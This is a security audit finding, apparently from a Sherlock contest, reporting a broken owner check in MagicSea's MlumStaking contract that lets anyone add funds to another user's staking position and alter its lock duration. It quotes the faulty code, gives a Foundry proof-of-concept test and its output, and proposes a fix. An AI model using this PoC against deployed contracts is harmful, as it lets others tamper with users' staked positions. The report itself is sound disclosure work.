TessKimy - Anyone can add funds to any position

[sherlock-admin3]

TessKimy

Medium

Anyone can add funds to any position

Summary

In MlumStaking contract, anyone can add funds to any position without permission

Vulnerability Detail

Due to wrong implementation of _requireOnlyOperatorOrOwnerOf(tokenId) function, adding funds to any position is permitted

Impact

Core function misimplementation
Lock durations can be manipulated

Code Snippet

Calling _isAuthorized() with same spender and owner will cause all the behaviours will be permitted expect calling by address(0)

Implementation of _isAuthorized() function:

    function _isAuthorized(address owner, address spender, uint256 tokenId) internal view virtual returns (bool) {
        return
            spender != address(0) &&
            (owner == spender || isApprovedForAll(owner, spender) || _getApproved(tokenId) == spender);
    }

https://github.com/sherlock-audit/2024-06-magicsea/blob/42e799446595c542eff9519353d3becc50cdba63/magicsea-staking/src/MlumStaking.sol#L140C1-L143C6

    function _requireOnlyOperatorOrOwnerOf(uint256 tokenId) internal view {
        // isApprovedOrOwner: caller has no rights on token
        require(ERC721Upgradeable._isAuthorized(msg.sender, msg.sender, tokenId), "FORBIDDEN");
    }

https://github.com/sherlock-audit/2024-06-magicsea/blob/42e799446595c542eff9519353d3becc50cdba63/magicsea-staking/src/MlumStaking.sol#L397C1-L398C48

    function addToPosition(uint256 tokenId, uint256 amountToAdd) external override nonReentrant {
        _requireOnlyOperatorOrOwnerOf(tokenId);

Proof of Concept

Following test function can be used for PoC :

Note:

console.log("Remaining lock time: %s", remainingLockTime);

Line added to addToPosition() function.

    function testFail_AddToPositionForOtherAddress() public {
        _stakingToken.mint(ALICE, 2 ether);
        _stakingToken.mint(BOB, 1 ether);

        vm.startPrank(ALICE);
        _stakingToken.approve(address(_pool), 1 ether);
        _pool.createPosition(1 ether, 1 weeks);
        vm.stopPrank();

        IMlumStaking.StakingPosition memory position = _pool.getStakingPosition(1);
        console.log("Lock Duration after position creation: %s", position.lockDuration);

        skip(3 days);

        vm.startPrank(BOB);
        _stakingToken.approve(address(_pool), 1 ether);
        position = _pool.getStakingPosition(1);
        _pool.addToPosition(1, 1 ether);
        vm.stopPrank();

        position = _pool.getStakingPosition(1);
        console.log("Lock Duration after Bob's call: %s", position.lockDuration);
    }

The output:

Ran 1 test for test/MlumStaking.t.sol:MlumStakingTest
[FAIL. Reason: assertion failed] testFail_AddToPositionForOtherAddress() (gas: 534266)
Logs:
  Lock Duration after position creation: 604800
  Remaining lock time: 345600
  Lock Duration after Bob's call: 475200

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.99ms (689.86µs CPU time)

Ran 1 test suite in 30.68ms (1.99ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/MlumStaking.t.sol:MlumStakingTest
[FAIL. Reason: assertion failed] testFail_AddToPositionForOtherAddress() (gas: 534266)

Encountered a total of 1 failing tests, 0 tests succeeded

Tool used

Manual Review

Recommendation

Following implementation can solve the problem:

@@ -139,7 +139,7 @@ contract MlumStaking is
      */
     function _requireOnlyOperatorOrOwnerOf(uint256 tokenId) internal view {
         // isApprovedOrOwner: caller has no rights on token
-        require(ERC721Upgradeable._isAuthorized(msg.sender, msg.sender, tokenId), "FORBIDDEN");
+        require((_ownerOf(tokenId) == msg.sender || address(_operator) == msg.sender), "FORBIDDEN");
     }

Duplicate of #378